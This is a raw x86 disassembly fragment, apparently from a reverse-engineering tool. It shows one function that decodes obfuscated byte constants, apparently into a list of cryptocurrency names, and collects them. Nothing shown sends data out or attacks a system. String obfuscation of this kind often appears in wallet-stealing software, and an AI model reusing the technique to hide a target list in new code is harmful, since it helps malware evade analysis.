mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412f47
sub ecx, esi
lea eax, [ebp - 0x1f]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x9a
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x9b
xor ecx, ecx
mov dword [ebp - 0x38], 0xf0dcd0d6
mov word [ebp - 0x34], 0xf1f6
mov byte [ebp - 0x32], 0
movzx eax, byte [ebp + ecx - 0x38]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 6
jb 0x412f93
sub esp, 0x18
lea ecx, [ebp - 0x38]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412fd0
sub ecx, esi
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x9c
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x9d
xor ecx, ecx
mov dword [ebp - 0x1d], 0xf6f9f1d6
mov dword [ebp - 0x19], 0xfaebf6f1
mov dword [ebp - 0x15], 0xf1f6f0fc
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x1d]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 0xc
jb 0x413024
sub esp, 0x18
lea ecx, [ebp - 0x1d]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413060
sub ecx, esi
lea eax, [ebp - 0x1d]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0x9e
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0x9f
xor ecx, ecx
mov dword [ebp - 0x38], 0xf0fce7d6
mov word [ebp - 0x34], 0xf1f6
mov byte [ebp - 0x32], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x38]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 6
jb 0x4130b0
sub esp, 0x18
lea ecx, [ebp - 0x38]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4130e7
sub ecx, esi
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xa0
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0xa1
xor ecx, ecx
mov dword [ebp - 0x19], 0xfef8fad2
mov dword [ebp - 0x15], 0xf1f6f0fc
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x413134
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413170
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xa2
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0xa3
xor ecx, ecx
mov dword [ebp - 0x18], 0xfcf1f6d2
mov dword [ebp - 0x14], 0xf1f6f0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 7
jb 0x4131c0
sub esp, 0x18
lea ecx, [ebp - 0x18]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4131f7
sub ecx, esi
lea eax, [ebp - 0x18]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xa4
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0xa5
xor ecx, ecx
mov dword [ebp - 0x19], 0xfaf2fed1
mov dword [ebp - 0x15], 0xf1f6f0fc
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x413244
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413280
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xa6
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0xa7
xor ecx, ecx
mov dword [ebp - 0x1a], 0xf2f6edcf
mov dword [ebp - 0x16], 0xf6f0fcfa
mov word [ebp - 0x12], 0xf1
nop
movzx eax, byte [ebp + ecx - 0x1a]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 9
jb 0x4132d0
sub esp, 0x18
lea ecx, [ebp - 0x1a]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413307
sub ecx, esi
lea eax, [ebp - 0x1a]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xa8
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0xa9
xor ecx, ecx
mov dword [ebp - 0x1a], 0xededfacb
mov dword [ebp - 0x16], 0xf6f0fcfe
mov word [ebp - 0x12], 0xf1
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1a]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 9
jb 0x413360
sub esp, 0x18
lea ecx, [ebp - 0x1a]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413397
sub ecx, esi
lea eax, [ebp - 0x1a]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xaa
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0xab
xor ecx, ecx
mov dword [ebp - 0x38], 0xf0dcdec6
mov word [ebp - 0x34], 0xf1f6
mov byte [ebp - 0x32], 0
movzx eax, byte [ebp + ecx - 0x38]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 6
jb 0x4133e3
sub esp, 0x18
lea ecx, [ebp - 0x38]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413420
sub ecx, esi
lea eax, [ebp - 0x38]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xac
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0xad
xor ecx, ecx
mov dword [ebp - 0x37], 0xecfefcc5
mov word [ebp - 0x33], 0xf7
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x37]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 5
jb 0x413470
sub esp, 0x18
lea ecx, [ebp - 0x37]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4134a7
sub ecx, esi
lea eax, [ebp - 0x37]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xae
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0xaf
xor ecx, ecx
mov dword [ebp - 0x18], 0xfce9fafb
mov dword [ebp - 0x14], 0xf1f6f0
movzx eax, byte [ebp + ecx - 0x18]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x18], al
inc ecx
cmp ecx, 7
jb 0x4134f0
sub esp, 0x18
lea ecx, [ebp - 0x18]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413527
sub ecx, esi
lea eax, [ebp - 0x18]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xb0
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0xb1
xor ecx, ecx
mov dword [ebp - 0x1c], 0xf6f8f6fb
mov dword [ebp - 0x18], 0xfcf3feeb
mov dword [ebp - 0x14], 0xf1f6f0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1c]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 0xb
jb 0x413580
sub esp, 0x18
lea ecx, [ebp - 0x1c]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4135b7
sub ecx, esi
lea eax, [ebp - 0x1c]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xb2
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0xb3
xor ecx, ecx
mov dword [ebp - 0x19], 0xfaebf6d3
mov dword [ebp - 0x15], 0xf1f6f0fc
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x413604
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413640
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xb4
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0xb5
xor ecx, ecx
mov dword [ebp - 0x19], 0xfbfbfacd
mov dword [ebp - 0x15], 0xf1f6f0fc
mov byte [ebp - 0x11], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x19]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x19], al
inc ecx
cmp ecx, 8
jb 0x413690
sub esp, 0x18
lea ecx, [ebp - 0x19]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4136c7
sub ecx, esi
lea eax, [ebp - 0x19]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xb6
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0xb7
xor ecx, ecx
movaps xmm0, xmmword [0x51e450]
movups xmmword [ebp - 0x21], xmm0
mov byte [ebp - 0x11], 0
movzx eax, byte [ebp + ecx - 0x21]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0x10
jb 0x413711
sub esp, 0x18
lea ecx, [ebp - 0x21]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x413748
sub ecx, esi
lea eax, [ebp - 0x21]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xb8
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
mov dword [ebp - 0x2c], esp
push eax
call fcn.00458190
mov byte [ebp - 4], 0xb9
xor ecx, ecx
mov dword [ebp - 0x1c], 0xf8fbfad3
mov dword [ebp - 0x18], 0xd3bfedfa
mov dword [ebp - 0x14], 0xfae9f6
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x1c]
push eax
call fcn.00459470
mov byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 0xb
jb 0x4137a0
sub esp, 0x18
lea ecx, [ebp - 0x1c]
mov edx, esp
mov dword [ebp - 0x3c], esp
xorps xmm0, xmm0
lea esi, [ecx + 1]
movups xmmword [edx], xmm0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4137d7
sub ecx, esi
lea eax, [ebp - 0x1c]
push ecx
push eax
mov ecx, edx
call fcn.00402aa0
mov byte [ebp - 4], 0xba
mov byte [ebp - 4], 0x84
mov ecx, edi
call fcn.0040f4c0
add esp, 0x30
mov byte [ebp - 4], 0x71
mov ecx, dword [ebp - 0xb4]
cmp ecx, 0x10
jb 0x41383c
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413832
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413bbd
push ecx
push edx
call fcn.004b2a81
add esp, 8
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
mov byte [ebp - 4], 0x6a
lea ecx, [ebp - 0xb0]
call fcn.00402890
mov byte [ebp - 4], 0x63
lea ecx, [ebp - 0x158]
call fcn.00402890
mov byte [ebp - 4], 0x5c
lea ecx, [ebp - 0x170]
call fcn.00402890
mov byte [ebp - 4], 0x55
lea ecx, [ebp - 0x188]
call fcn.00402890
mov byte [ebp - 4], 0x4e
lea ecx, [ebp - 0x1a0]
call fcn.00402890
mov byte [ebp - 4], 0x47
lea ecx, [ebp - 0x1b8]
call fcn.00402890
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x1d0]
call fcn.00402890
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x1e8]
call fcn.00402890
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x200]
call fcn.00402890
mov byte [ebp - 4], 0x1f
mov ecx, dword [ebp - 0x84]
cmp ecx, 0x10
jb 0x41391c
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413912
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413bbd
push ecx
push edx
call fcn.004b2a81
add esp, 8
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
mov byte [ebp - 4], 0x18
mov ecx, dword [ebp - 0xcc]
cmp ecx, 0x10
jb 0x413975
mov edx, dword [ebp - 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41396b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413bbd
push ecx
push edx
call fcn.004b2a81
add esp, 8
mov dword [ebp - 0xd0], 0
mov dword [ebp - 0xcc], 0xf
mov byte [ebp - 0xe0], 0
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0xe4]
cmp ecx, 0x10
jb 0x4139ce
mov edx, dword [ebp - 0xf8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4139c4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413bbd
push ecx
push edx
call fcn.004b2a81
add esp, 8
mov dword [ebp - 0xe8], 0
mov dword [ebp - 0xe4], 0xf
mov byte [ebp - 0xf8], 0
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0xfc]
cmp ecx, 0x10
jb 0x413a27
mov edx, dword [ebp - 0x110]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413a1d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413bbd
push ecx
push edx
call fcn.004b2a81
add esp, 8
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 0xf
mov byte [ebp - 0x110], 0
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x114]
cmp ecx, 0x10
jb 0x413a80
mov edx, dword [ebp - 0x128]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413a76
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413bbd
push ecx
push edx
call fcn.004b2a81
add esp, 8
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0xf
mov byte [ebp - 0x128], 0
mov byte [ebp - 4], 0
mov ecx, dword [ebp - 0x12c]
cmp ecx, 0x10
jb 0x413ad9
mov edx, dword [ebp - 0x140]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x413acf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x413bbd
push ecx
push edx
call fcn.004b2a81
add esp, 8
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0xf
mov byte [ebp - 0x140], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.00402890
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret
call fcn.004cdf70
call fcn.00402210
call fcn.004cdf70
call fcn.00402210
call fcn.004cdf70
call fcn.00402210
call fcn.004cdf70
call fcn.00402210
call fcn.004cdf70
call fcn.00402210
call fcn.004cdf70
call fcn.00402210
call fcn.00402210
call fcn.004cdf70
call fcn.00402210
call fcn.004cdf70
call fcn.00402210
call fcn.004cdf70
call fcn.00402210
call fcn.004cdf70
call fcn.00402210
call fcn.004cdf70
call fcn.00402210
call fcn.00402210
call fcn.004cdf70
call fcn.00402210
call fcn.004cdf70
call fcn.00402210
call fcn.00402210
call fcn.00402210
call fcn.00402210
call fcn.00402210
call fcn.00402210
call fcn.00402210
call fcn.004cdf70
int3